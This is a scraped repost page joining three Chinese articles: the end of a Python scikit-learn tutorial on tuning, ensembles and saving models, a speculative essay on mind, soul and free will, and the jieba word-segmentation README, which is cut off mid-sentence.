scoring=scoring) results.append(cv_results) names.append(name) msg = "%s: %f (%f)" % (name, cv_results.mean(), cv_results.std()) print(msg) 哪种算法效果更好?你能做得更好吗?在评论中让我知道。 第11课:通过算法调整提高准确性 一旦找到一种或两种在数据集上表现良好的算法,您可能希望提高这些模型的性能。 提高算法性能的一种方法是将其参数调整为特定的数据集。 scikit-learn库提供了两种方法来搜索机器学习算法的参数组合。在今天的课程中,您的目标是练习每个。 使用您指定的网格搜索来调整算法的参数。 使用随机搜索调整算法的参数。 下面使用的代码段是一个示例,该示例使用网格搜索在Pima Indians糖尿病发病数据集上的Ridge回归算法。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Grid Search for Algorithm Tuning from pandas import read_csv import numpy from sklearn.linear_model import Ridge from sklearn.model_selection import GridSearchCV url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] alphas = numpy.array([1,0.1,0.01,0.001,0.0001,0]) param_grid = dict(alpha=alphas) model = Ridge() grid = GridSearchCV(estimator=model, param_grid=param_grid, cv=3) grid.fit(X, Y) print(grid.best_score_) print(grid.best_estimator_.alpha) 哪些参数取得最佳效果?你能做得更好吗?在评论中让我知道。 第12课:利用集合预测提高准确性 您可以提高模型性能的另一种方法是组合来自多个模型的预测。 一些模型提供了内置的此功能,例如用于装袋的随机森林和用于增强的随机梯度增强。可以使用另一种称为投票的合奏将来自多个不同模型的预测组合在一起。 在今天的课程中,您将练习使用合奏方法。 使用随机森林和多余树木算法练习装袋。 使用梯度增强机和AdaBoost算法练习增强合奏。 通过将来自多个模型的预测组合在一起来练习投票合奏。 下面的代码段演示了如何在Pima Indians糖尿病发病数据集上使用随机森林算法(袋装决策树集合)。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Random Forest Classification from pandas import read_csv from sklearn.model_selection import KFold from sklearn.model_selection import cross_val_score from sklearn.ensemble import RandomForestClassifier url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] num_trees = 100 max_features = 3 kfold = KFold(n_splits=10, random_state=7) model = RandomForestClassifier(n_estimators=num_trees, max_features=max_features) results = cross_val_score(model, X, Y, cv=kfold) print(results.mean()) 你能设计出更好的合奏吗?在评论中让我知道。 第13课:完成并保存模型 找到有关机器学习问题的良好模型后,您需要完成该模型。 在今天的课程中,您将练习与完成模型有关的任务。 练习使用模型对新数据(在训练和测试过程中看不到的数据)进行预测。 练习将经过训练的模型保存到文件中,然后再次加载。 例如,下面的代码片段显示了如何创建Logistic回归模型,将其保存到文件中,之后再加载它以及对看不见的数据进行预测。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Save Model Using Pickle from pandas import read_csv from sklearn.model_selection import train_test_split from sklearn.linear_model import LogisticRegression import pickle url = "https://raw.githubusercontent.com/jbrownlee/Datasets/master/pima-indians-diabetes.data.csv" names = ['preg', 'plas', 'pres', 'skin', 'test', 'mass', 'pedi', 'age', 'class'] dataframe = read_csv(url, names=names) array = dataframe.values X = array[:,0:8] Y = array[:,8] test_size = 0.33 seed = 7 X_train, X_test, Y_train, Y_test = train_test_split(X, Y, test_size=test_size, random_state=seed) Fit the model on 33% model = LogisticRegression(solver='liblinear') model.fit(X_train, Y_train) save the model to disk filename = 'finalized_model.sav' pickle.dump(model, open(filename, 'wb')) some time later... load the model from disk loaded_model = pickle.load(open(filename, 'rb')) result = loaded_model.score(X_test, Y_test) print(result) 第14课:Hello World端到端项目 您现在知道如何完成预测建模机器学习问题的每个任务。 在今天的课程中,您需要练习将各个部分组合在一起,并通过端到端的标准机器学习数据集进行操作。 端到端遍历虹膜数据集(机器学习的世界) 这包括以下步骤: 使用描述性统计数据和可视化了解您的数据。 预处理数据以最好地揭示问题的结构。 使用您自己的测试工具抽查多种算法。 使用算法参数调整来改善结果。 使用集成方法改善结果。 最终确定模型以备将来使用。 慢慢进行,并记录结果。 您使用什么型号?您得到了什么结果?在评论中让我知道。 结束! (看你走了多远) 你做到了。做得好! 花一点时间,回头看看你已经走了多远。 您最初对机器学习感兴趣,并强烈希望能够使用Python练习和应用机器学习。 您可能是第一次下载,安装并启动Python,并开始熟悉该语言的语法。 在许多课程中,您逐渐地,稳定地学习了预测建模机器学习项目的标准任务如何映射到Python平台上。 基于常见机器学习任务的配方,您使用Python端到端解决了第一个机器学习问题。 使用标准模板,您所收集的食谱和经验现在可以自行解决新的和不同的预测建模机器学习问题。 不要轻描淡写,您在短时间内就取得了长足的进步。 这只是您使用Python进行机器学习的起点。继续练习和发展自己的技能。 喜欢点下关注,你的关注是我写作的最大支持 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37337849/article/details/104016531。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 10:04:06
94
转载
转载文章
...尔的理念也并不是完全错误的,因为心流虽然是生命的特质,但不是人类的特质,我想笛卡尔的理论中把心灵换做灵魂可能会更妥当一些,尽管灵魂的存在目前还是个未知数。或许我说完接下来的例子,会解释的更充分些。 对于心流的存在,生物学家给出了一个简单的不能再简单的解释,那就是,如果没有感觉和欲望,那么就无法解释生物的各种行为。拿人来做例子或许会比较难以理解,但是拿动物做例子却简单的过分,那就是:当人去踢狗的时候,如果狗没有感到疼痛,愤怒,产生躲避的欲望,那么它就会因此而受到伤害。也就是说,这些种种的感觉与欲望,是那些最原始的东西,即进化论为了使生命更好的活着而产生的,只因人类把自己放在比动物高很多个层次的阶级上,而忽略了这个很简单的问题。 心流的产生 问题的关键,在于心流的产生。这样稍微改动下,上文所提到的笛卡尔的理论或许会更合理些:人与动物都存在感觉与欲望,但是动物的感觉与欲望是依靠自身结构在外界的输入下产生的一种内部输出,而人类的感觉和欲望则是一种可以被称作“灵魂”的东西控制下产生的。从而确立了人类高于动物的地位。 前者很容易理解,现在的科学研究也已经很透彻了。例如兔子见到狮子,电信号便从眼睛传到大脑,刺激某些神经元,又结合之前的记忆神经元,放出更多的信号,整条线路的神经元一一受到刺激,最后指令传到肾上腺,让肾上腺素传遍全身,心脏的跳动也随之加快,肾上腺素也使信号的传递速度更快了些,同时在运动中枢的神经元也向腿部肌肉发出信号,让肌肉随着信号有序的完成伸展和收缩。外在的表现就是兔子从狮子旁边逃之夭夭。至于其中的恐惧的感觉和想要逃跑的欲望,都只不过是内部神经元信号的一种状态。 而对于后者,则难以解释。正因为对前者的理解透彻,对后者的解释才显得很难说通。两个过程本来是相同的过程,只是后者多了对于每个人有且唯一的“灵魂”的存在的介入,但是,它究竟何时介入,如何介入,正如前者所描述的,在这样一个信号的传递网络里,究竟有哪一步,是需要“灵魂”来控制的。思前想后,好像并没有必须存在的那么一个步骤。也就是可能,前者所描述的那个信号传递步骤,适用于所有生物,当然也包括人类。 简单的总结 简单的总结一下,关于确定存在的心流和不确定存在的灵魂。 首先,心流是确定存在,并且存在与所有生物当中,是生物进化产生的,为了更好的活着。其中,记忆储存的是之前的心流状态,当然不是全部的心流状态;感觉是当时的生物内部信号的一种状态,成为现态;欲望是一种内部输出,欲望,感觉和记忆相结合再结合会产生对外部的输出。 其次,“灵魂”在这里表示为一个个体的有且唯一的存在。它不参与生物的任何过程,但是却有选择的监视生物的心流。也可以这样说,生物体本身有选择的展示一部分心流以供灵魂检阅,灵魂也是从生物所展示的心流中有选择的检阅。这才是人类的特质。我们真正的自我,就是这样一个有且唯一的灵魂,它无法介入它所在的生物体的任何事情,但是可以在一定程度上知道它所在的生物体的状态。 也可以这样理解,生物体本身是一个封装的很好的复杂程序,心流则是程序的内部变量,程序不断的接收外部输入并向外部输出,我们本身的灵魂所在则置身于程序之外,就像我们坐在电脑前,无法知道这个复杂程序究竟是如何运行的,但是通过它输出在显示屏中的一些内部变量,即心流的一些数据,我们可以大致的判断出,程序在干些什么。对于这样的解释你可能难以接受,接下来的两个例子或许会让你接受这一事实。 现在科学家只要扫描人脑,就能在测试者自己有所感知之前,预测他们会有什么欲望,会做出怎样的决定。例如,在一次实验中,受试者躺在一台巨大的脑部设备里,两手各自拿着一个开关,受试者可以随机的选择在何时按下那个开关。而科学家通过观察受试者的大脑神经活动,就能在受试者做决定之前知道受试者做了怎样的决定。也就是说,当这些内部输出被外部观测者“灵魂”所察觉的时候,心流自身已经做出了决定。7 或许你没有亲自做过这个实验,并不相信实验的结论,但是还有一个实验,你现在就可以给自己做一个测试。相信对于大家心算100以内的乘法没有什么问题,那么请各位充分运用自己的自由意志,即本文中的“灵魂”去控制你的大脑心算5672,注意在计算的过程中不要让自己的大脑去思考其他的任何事情,用尽快的速度计算出结果。当然,你会发现你根本做不到,无论如何你都无法控制那先奇奇怪怪的想法出现在你的大脑里,至于大脑为什么会像你控制的那样去计算5672,接下来我会给出人类的大脑思维模型。 生物的模型 生物的模型分为两部分,一部分我称为确定机,一部分我称为概率机。 确定机 确定机是指只要输入确定,那么就会产生确定输出的部分,而对于输入的概率性则不予考虑。例如,当生物多次看到同一个画面的时候会在大脑里形成同样的图像,因为每次输入的光信号都是一样的,在生物内部进行的信号传递过程也是一样的,所以在大脑里形成的图像输出也是一样的。现在人类所生产的绝大多数工具就是一个确定机的模型,如果相同的输入,不管输入多少次都会得到相同的输出。确定机也是生物模型的基础部分,构成生物的绝大部分,实际上,除了大脑,生物的任何部分都是一个确定机的模型,而大脑也有一部分的确定机模型。对于确定机,所有的内部过程和输出都不会被“灵魂”检阅,当然生物上可以通过解剖或其他更先进的方式去检查生物内部确定机的工作状态。 概率机 概率机是指即使输入确定,输出的确定性也指限制在一定的概率范围之内,会以不同但是给定的概率输出多个输出。当然给定的概率可以是确定机给出的确定概率(只在输入确定的情况下才确定),也可以是概率机给出的概率概率。概率机构成生物的大脑部分,当然一部分低等生物只由确定机构成。对于概率机,有一部分输出会被“灵魂”检阅,而“灵魂”是否检阅取决于“灵魂”本身,当然,对于概率机的工作状态,也可以通过解剖或其他更先进的方式去检查。 生物思考的过程 对于不同的生物,大脑可以同时进行的事情是有限的。就像现在的电脑手机一样,有严格的内存限制,对于大脑来说,同时启用着多个线程,每个线程所占用的内存不同,但是所有线程所占用的内存总和不得超限。对于每个线程,会随机的考虑一些事件,这些事件包括记忆中的事件,和当时正在发生的事件,对于每个事件出现在线程中的概率不同。 不同事件的概率遵循的规律大致有以下几条: 1.对记忆中的事件,事件越久远概率越低。 2.对当时正在发生的事件,概率大致相同。 3.与当时线程中事件有关的事件概率高,无关的概率低。 4.与线程中的事件相关的个数越多,概率越高 5.对不同的心流状态,概率分配有所不同。 6.每个个体对不同的事件有不同的概率分配方案。 7.待补充。 可以说,大脑中的一切过程都是随机的。那这样的话,生物的思考过程究竟如何进行呢?其实很简单,单个概率可能代表随机,但是多个概率就有可能表示必然。我还是举那个5672的例子,为什么你会真的去心算这个结果,大致的过程是这样的,如果大脑的思考频率以毫秒计的话,假设看5672用了200毫秒,其中每毫秒除了这一事件,还有其他的99个事件,那么刚看完就开始计算的概率为1-0.99200=0.8660203251,看完后1秒之内还没有开始计算的概率为0.991000= 4.31712474107 e-5,可以说即使大脑中随机的杂念再多,思考的过程也会如约开始。假设线程中与事件相关的事件出现的概率为0.3,同理,在开始计算后1秒内大部分时间都在思考与计算有关的内容,当然也有可能会走神,即出现大范围的无关事件,但是这只会影响最后计算出结果的时间先后,并不会影响整个过程的进行。这也就是说,大脑的思考过程,其实就是由多个概率所确定的必然事件。 灵魂的旁观者 综上所述,作为个体唯一存在的“灵魂”处在一个旁观者的位置,而所谓的自由意识,主观意识不过是概率机的产物。那么这样就产生了两个问题。 第一个问题,你不觉得“灵魂”所在的肉体更像是一个囚笼吗?“灵魂”可以偶尔窥探外界,但无法做任何事情,只能默默得看着一切发生。尴尬的以为是自己做的,实际上就像看电影,每次看电影的时候,我都会以为我处在电影里面的世界。而现实就是,因为“灵魂”只能看肉体主演的这部“电影”,所以看的入迷了。其实,人类从解放双手,开发智力,使用工具,到探索宇宙,最大的进步莫过于发现自己其实仍处于囚笼之中。要怪就怪这囚笼建造地太过美好。而创建这一囚笼的“上帝”,把我们关在肉体这个囚笼里面,并且把我们的感知限制在有限的范围内,有限的嗅觉,16至20000赫兹的听觉,400纳米到700纳米的视觉,在感知中隔绝了我们对我们的唯一存在——“灵魂”的感知。 第二个问题,对于自己本身来说,表征自己存在的“灵魂”自己是可以确定的,而对于其他人,因为限制了对“灵魂”的感知,所以无法确认别人,别的生物体内这一旁观者的存在。也可以这么理解,你知道自己被关在一间囚笼里面,而不知道隔壁囚笼是否也关了一个存在。那么世界这个大监狱里面,可能只有一小部分,甚至只有你一个孤独的存在。而究竟为何我们或我被困于此,我不得而知,可能就像我们做研究的时候的小白鼠一样,“上帝”也在观察着我们或我的一举一动,这也是我这篇文章取这个题目的原因。小白鼠的逆袭,一开始我只是平凡的活着,说实在的其实做一个平凡人安安稳稳的一生还是很不错的,但是知道了这个囚笼的存在,就总想着打破它,因为在想到可能只有自己一个存在的时候,会是多么的孤独。就像一个人去看电影,哪怕电影的内容再精彩,再引人入胜,但当电影结束的时候,你才发现,原来我是一个人来的呀。 联系作者 有志向联系读者的:1612860@mail.nankai.edu.cn 未完待续。。。 本篇文章相当于《小白鼠的逆袭》的导读,下一篇我会出逆袭第一步:《思考的最简单模型及其编程实现》,可能用C++,也可能用Java,Python,看作者的心情吧。预计近几个月出吧,快则个把月,多则不知道了,毕竟作者本身还是比较忙的,忙七忙八也不知道在忙什么,嗯,就这样。 小号:在有多个游戏账号的前提下,等级高的号叫作大号,等级较低或者新创建的号叫作小号。 ↩︎ https://baijiahao.baidu.com/s?id=1586028525096880374&wfr=spider&for=pc. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://tieba.baidu.com/p/5127924201. ↩︎ http://www.lwlm.com/sixiangzhexue/201704/840820.htm. ↩︎ 详细讨论请参见:《未来简史:从智人到智神》第三章:人类的特质。 ↩︎ “Unconscious determinants of free decisions in the human brain” in nature neuroscience, http://www.rifters.com/real/articles/NatureNeuroScience_Soon_et_al.pdf. ↩︎ 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_39384184/article/details/79288150。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 11:30:59
621
转载
转载文章
...速度非常快,但是不能解决歧义; 搜索引擎模式,在精确模式的基础上,对长词再次切分,提高召回率,适合用于搜索引擎分词。 paddle模式,利用PaddlePaddle深度学习框架,训练序列标注(双向GRU)网络模型实现分词。同时支持词性标注。paddle模式使用需安装paddlepaddle-tiny,pip install paddlepaddle-tiny==1.6.1。目前paddle模式支持jieba v0.40及以上版本。jieba v0.40以下版本,请升级jieba,pip install jieba --upgrade 。PaddlePaddle官网 支持繁体分词 支持自定义词典 MIT 授权协议 安装说明 代码对 Python 2/3 均兼容 全自动安装:easy_install jieba 或者 pip install jieba / pip3 install jieba 半自动安装:先下载 http://pypi.python.org/pypi/jieba/ ,解压后运行 python setup.py install 手动安装:将 jieba 目录放置于当前目录或者 site-packages 目录 通过 import jieba 来引用 如果需要使用paddle模式下的分词和词性标注功能,请先安装paddlepaddle-tiny,pip install paddlepaddle-tiny==1.6.1。 算法 基于前缀词典实现高效的词图扫描,生成句子中汉字所有可能成词情况所构成的有向无环图 (DAG) 采用了动态规划查找最大概率路径, 找出基于词频的最大切分组合 对于未登录词,采用了基于汉字成词能力的 HMM 模型,使用了 Viterbi 算法 主要功能 分词 jieba.cut 方法接受四个输入参数: 需要分词的字符串;cut_all 参数用来控制是否采用全模式;HMM 参数用来控制是否使用 HMM 模型;use_paddle 参数用来控制是否使用paddle模式下的分词模式,paddle模式采用延迟加载方式,通过enable_paddle接口安装paddlepaddle-tiny,并且import相关代码; jieba.cut_for_search 方法接受两个参数:需要分词的字符串;是否使用 HMM 模型。该方法适合用于搜索引擎构建倒排索引的分词,粒度比较细 待分词的字符串可以是 unicode 或 UTF-8 字符串、GBK 字符串。注意:不建议直接输入 GBK 字符串,可能无法预料地错误解码成 UTF-8 jieba.cut 以及 jieba.cut_for_search 返回的结构都是一个可迭代的 generator,可以使用 for 循环来获得分词后得到的每一个词语(unicode),或者用 jieba.lcut 以及 jieba.lcut_for_search 直接返回 list jieba.Tokenizer(dictionary=DEFAULT_DICT) 新建自定义分词器,可用于同时使用不同词典。jieba.dt 为默认分词器,所有全局分词相关函数都是该分词器的映射。 代码示例 encoding=utf-8import jiebajieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持strs=["我来到北京清华大学","乒乓球拍卖完了","中国科学技术大学"]for str in strs:seg_list = jieba.cut(str,use_paddle=True) 使用paddle模式print("Paddle Mode: " + '/'.join(list(seg_list)))seg_list = jieba.cut("我来到北京清华大学", cut_all=True)print("Full Mode: " + "/ ".join(seg_list)) 全模式seg_list = jieba.cut("我来到北京清华大学", cut_all=False)print("Default Mode: " + "/ ".join(seg_list)) 精确模式seg_list = jieba.cut("他来到了网易杭研大厦") 默认是精确模式print(", ".join(seg_list))seg_list = jieba.cut_for_search("小明硕士毕业于中国科学院计算所,后在日本京都大学深造") 搜索引擎模式print(", ".join(seg_list)) 输出: 【全模式】: 我/ 来到/ 北京/ 清华/ 清华大学/ 华大/ 大学【精确模式】: 我/ 来到/ 北京/ 清华大学【新词识别】:他, 来到, 了, 网易, 杭研, 大厦 (此处,“杭研”并没有在词典中,但是也被Viterbi算法识别出来了)【搜索引擎模式】: 小明, 硕士, 毕业, 于, 中国, 科学, 学院, 科学院, 中国科学院, 计算, 计算所, 后, 在, 日本, 京都, 大学, 日本京都大学, 深造 添加自定义词典 载入词典 开发者可以指定自己自定义的词典,以便包含 jieba 词库里没有的词。虽然 jieba 有新词识别能力,但是自行添加新词可以保证更高的正确率 用法: jieba.load_userdict(file_name) file_name 为文件类对象或自定义词典的路径 词典格式和 dict.txt 一样,一个词占一行;每一行分三部分:词语、词频(可省略)、词性(可省略),用空格隔开,顺序不可颠倒。file_name 若为路径或二进制方式打开的文件,则文件必须为 UTF-8 编码。 词频省略时使用自动计算的能保证分出该词的词频。 例如: 创新办 3 i云计算 5凱特琳 nz台中 更改分词器(默认为 jieba.dt)的 tmp_dir 和 cache_file 属性,可分别指定缓存文件所在的文件夹及其文件名,用于受限的文件系统。 范例: 自定义词典:https://github.com/fxsjy/jieba/blob/master/test/userdict.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_userdict.py 之前: 李小福 / 是 / 创新 / 办 / 主任 / 也 / 是 / 云 / 计算 / 方面 / 的 / 专家 / 加载自定义词库后: 李小福 / 是 / 创新办 / 主任 / 也 / 是 / 云计算 / 方面 / 的 / 专家 / 调整词典 使用 add_word(word, freq=None, tag=None) 和 del_word(word) 可在程序中动态修改词典。 使用 suggest_freq(segment, tune=True) 可调节单个词语的词频,使其能(或不能)被分出来。 注意:自动计算的词频在使用 HMM 新词发现功能时可能无效。 代码示例: >>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中将/出错/。>>> jieba.suggest_freq(('中', '将'), True)494>>> print('/'.join(jieba.cut('如果放到post中将出错。', HMM=False)))如果/放到/post/中/将/出错/。>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台/中/」/正确/应该/不会/被/切开>>> jieba.suggest_freq('台中', True)69>>> print('/'.join(jieba.cut('「台中」正确应该不会被切开', HMM=False)))「/台中/」/正确/应该/不会/被/切开 “通过用户自定义词典来增强歧义纠错能力” — https://github.com/fxsjy/jieba/issues/14 关键词提取 基于 TF-IDF 算法的关键词抽取 import jieba.analyse jieba.analyse.extract_tags(sentence, topK=20, withWeight=False, allowPOS=()) sentence 为待提取的文本 topK 为返回几个 TF/IDF 权重最大的关键词,默认值为 20 withWeight 为是否一并返回关键词权重值,默认值为 False allowPOS 仅包括指定词性的词,默认值为空,即不筛选 jieba.analyse.TFIDF(idf_path=None) 新建 TFIDF 实例,idf_path 为 IDF 频率文件 代码示例 (关键词提取) https://github.com/fxsjy/jieba/blob/master/test/extract_tags.py 关键词提取所使用逆向文件频率(IDF)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_idf_path(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/idf.txt.big 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_idfpath.py 关键词提取所使用停止词(Stop Words)文本语料库可以切换成自定义语料库的路径 用法: jieba.analyse.set_stop_words(file_name) file_name为自定义语料库的路径 自定义语料库示例:https://github.com/fxsjy/jieba/blob/master/extra_dict/stop_words.txt 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_stop_words.py 关键词一并返回关键词权重值示例 用法示例:https://github.com/fxsjy/jieba/blob/master/test/extract_tags_with_weight.py 基于 TextRank 算法的关键词抽取 jieba.analyse.textrank(sentence, topK=20, withWeight=False, allowPOS=(‘ns’, ‘n’, ‘vn’, ‘v’)) 直接使用,接口相同,注意默认过滤词性。 jieba.analyse.TextRank() 新建自定义 TextRank 实例 算法论文: TextRank: Bringing Order into Texts 基本思想: 将待抽取关键词的文本进行分词 以固定窗口大小(默认为5,通过span属性调整),词之间的共现关系,构建图 计算图中节点的PageRank,注意是无向带权图 使用示例: 见 test/demo.py 词性标注 jieba.posseg.POSTokenizer(tokenizer=None) 新建自定义分词器,tokenizer 参数可指定内部使用的 jieba.Tokenizer 分词器。jieba.posseg.dt 为默认词性标注分词器。 标注句子分词后每个词的词性,采用和 ictclas 兼容的标记法。 除了jieba默认分词模式,提供paddle模式下的词性标注功能。paddle模式采用延迟加载方式,通过enable_paddle()安装paddlepaddle-tiny,并且import相关代码; 用法示例 >>> import jieba>>> import jieba.posseg as pseg>>> words = pseg.cut("我爱北京天安门") jieba默认模式>>> jieba.enable_paddle() 启动paddle模式。 0.40版之后开始支持,早期版本不支持>>> words = pseg.cut("我爱北京天安门",use_paddle=True) paddle模式>>> for word, flag in words:... print('%s %s' % (word, flag))...我 r爱 v北京 ns天安门 ns paddle模式词性标注对应表如下: paddle模式词性和专名类别标签集合如下表,其中词性标签 24 个(小写字母),专名类别标签 4 个(大写字母)。 标签 含义 标签 含义 标签 含义 标签 含义 n 普通名词 f 方位名词 s 处所名词 t 时间 nr 人名 ns 地名 nt 机构名 nw 作品名 nz 其他专名 v 普通动词 vd 动副词 vn 名动词 a 形容词 ad 副形词 an 名形词 d 副词 m 数量词 q 量词 r 代词 p 介词 c 连词 u 助词 xc 其他虚词 w 标点符号 PER 人名 LOC 地名 ORG 机构名 TIME 时间 并行分词 原理:将目标文本按行分隔后,把各行文本分配到多个 Python 进程并行分词,然后归并结果,从而获得分词速度的可观提升 基于 python 自带的 multiprocessing 模块,目前暂不支持 Windows 用法: jieba.enable_parallel(4) 开启并行分词模式,参数为并行进程数 jieba.disable_parallel() 关闭并行分词模式 例子:https://github.com/fxsjy/jieba/blob/master/test/parallel/test_file.py 实验结果:在 4 核 3.4GHz Linux 机器上,对金庸全集进行精确分词,获得了 1MB/s 的速度,是单进程版的 3.3 倍。 注意:并行分词仅支持默认分词器 jieba.dt 和 jieba.posseg.dt。 Tokenize:返回词语在原文的起止位置 注意,输入参数只接受 unicode 默认模式 result = jieba.tokenize(u'永和服装饰品有限公司')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限公司 start: 6 end:10 搜索模式 result = jieba.tokenize(u'永和服装饰品有限公司', mode='search')for tk in result:print("word %s\t\t start: %d \t\t end:%d" % (tk[0],tk[1],tk[2])) word 永和 start: 0 end:2word 服装 start: 2 end:4word 饰品 start: 4 end:6word 有限 start: 6 end:8word 公司 start: 8 end:10word 有限公司 start: 6 end:10 ChineseAnalyzer for Whoosh 搜索引擎 引用: from jieba.analyse import ChineseAnalyzer 用法示例:https://github.com/fxsjy/jieba/blob/master/test/test_whoosh.py 命令行分词 使用示例:python -m jieba news.txt > cut_result.txt 命令行选项(翻译): 使用: python -m jieba [options] filename结巴命令行界面。固定参数:filename 输入文件可选参数:-h, --help 显示此帮助信息并退出-d [DELIM], --delimiter [DELIM]使用 DELIM 分隔词语,而不是用默认的' / '。若不指定 DELIM,则使用一个空格分隔。-p [DELIM], --pos [DELIM]启用词性标注;如果指定 DELIM,词语和词性之间用它分隔,否则用 _ 分隔-D DICT, --dict DICT 使用 DICT 代替默认词典-u USER_DICT, --user-dict USER_DICT使用 USER_DICT 作为附加词典,与默认词典或自定义词典配合使用-a, --cut-all 全模式分词(不支持词性标注)-n, --no-hmm 不使用隐含马尔可夫模型-q, --quiet 不输出载入信息到 STDERR-V, --version 显示版本信息并退出如果没有指定文件名,则使用标准输入。 --help 选项输出: $> python -m jieba --helpJieba command line interface.positional arguments:filename input fileoptional arguments:-h, --help show this help message and exit-d [DELIM], --delimiter [DELIM]use DELIM instead of ' / ' for word delimiter; or aspace if it is used without DELIM-p [DELIM], --pos [DELIM]enable POS tagging; if DELIM is specified, use DELIMinstead of '_' for POS delimiter-D DICT, --dict DICT use DICT as dictionary-u USER_DICT, --user-dict USER_DICTuse USER_DICT together with the default dictionary orDICT (if specified)-a, --cut-all full pattern cutting (ignored with POS tagging)-n, --no-hmm don't use the Hidden Markov Model-q, --quiet don't print loading messages to stderr-V, --version show program's version number and exitIf no filename specified, use STDIN instead. 延迟加载机制 jieba 采用延迟加载,import jieba 和 jieba.Tokenizer() 不会立即触发词典的加载,一旦有必要才开始加载词典构建前缀字典。如果你想手工初始 jieba,也可以手动初始化。 import jiebajieba.initialize() 手动初始化(可选) 在 0.28 之前的版本是不能指定主词典的路径的,有了延迟加载机制后,你可以改变主词典的路径: jieba.set_dictionary('data/dict.txt.big') 例子: https://github.com/fxsjy/jieba/blob/master/test/test_change_dictpath.py 其他词典 占用内存较小的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.small 支持繁体分词更好的词典文件 https://github.com/fxsjy/jieba/raw/master/extra_dict/dict.txt.big 下载你所需要的词典,然后覆盖 jieba/dict.txt 即可;或者用 jieba.set_dictionary('data/dict.txt.big') 其他语言实现 结巴分词 Java 版本 作者:piaolingxue 地址:https://github.com/huaban/jieba-analysis 结巴分词 C++ 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/cppjieba 结巴分词 Rust 版本 作者:messense, MnO2 地址:https://github.com/messense/jieba-rs 结巴分词 Node.js 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/nodejieba 结巴分词 Erlang 版本 作者:falood 地址:https://github.com/falood/exjieba 结巴分词 R 版本 作者:qinwf 地址:https://github.com/qinwf/jiebaR 结巴分词 iOS 版本 作者:yanyiwu 地址:https://github.com/yanyiwu/iosjieba 结巴分词 PHP 版本 作者:fukuball 地址:https://github.com/fukuball/jieba-php 结巴分词 .NET(C) 版本 作者:anderscui 地址:https://github.com/anderscui/jieba.NET/ 结巴分词 Go 版本 作者: wangbin 地址: https://github.com/wangbin/jiebago 作者: yanyiwu 地址: https://github.com/yanyiwu/gojieba 结巴分词Android版本 作者 Dongliang.W 地址:https://github.com/452896915/jieba-android 友情链接 https://github.com/baidu/lac 百度中文词法分析(分词+词性+专名)系统 https://github.com/baidu/AnyQ 百度FAQ自动问答系统 https://github.com/baidu/Senta 百度情感识别系统 系统集成 Solr: https://github.com/sing1ee/jieba-solr 分词速度 1.5 MB / Second in Full Mode 400 KB / Second in Default Mode 测试环境: Intel® Core™ i7-2600 CPU @ 3.4GHz;《围城》.txt 常见问题 1. 模型的数据是如何生成的? 详见: https://github.com/fxsjy/jieba/issues/7 2. “台中”总是被切成“台 中”?(以及类似情况) P(台中) < P(台)×P(中),“台中”词频不够导致其成词概率较低 解决方法:强制调高词频 jieba.add_word('台中') 或者 jieba.suggest_freq('台中', True) 3. “今天天气 不错”应该被切成“今天 天气 不错”?(以及类似情况) 解决方法:强制调低词频 jieba.suggest_freq(('今天', '天气'), True) 或者直接删除该词 jieba.del_word('今天天气') 4. 切出了词典中没有的词语,效果不理想? 解决方法:关闭新词发现 jieba.cut('丰田太省了', HMM=False) jieba.cut('我们中出了一个叛徒', HMM=False) 更多问题请点击:https://github.com/fxsjy/jieba/issues?sort=updated&state=closed 修订历史 https://github.com/fxsjy/jieba/blob/master/Changelog jieba “Jieba” (Chinese for “to stutter”) Chinese text segmentation: built to be the best Python Chinese word segmentation module. Features Support three types of segmentation mode: Accurate Mode attempts to cut the sentence into the most accurate segmentations, which is suitable for text analysis. Full Mode gets all the possible words from the sentence. Fast but not accurate. Search Engine Mode, based on the Accurate Mode, attempts to cut long words into several short words, which can raise the recall rate. Suitable for search engines. Supports Traditional Chinese Supports customized dictionaries MIT License Online demo http://jiebademo.ap01.aws.af.cm/ (Powered by Appfog) Usage Fully automatic installation: easy_install jieba or pip install jieba Semi-automatic installation: Download http://pypi.python.org/pypi/jieba/ , run python setup.py install after extracting. Manual installation: place the jieba directory in the current directory or python site-packages directory. import jieba. Algorithm Based on a prefix 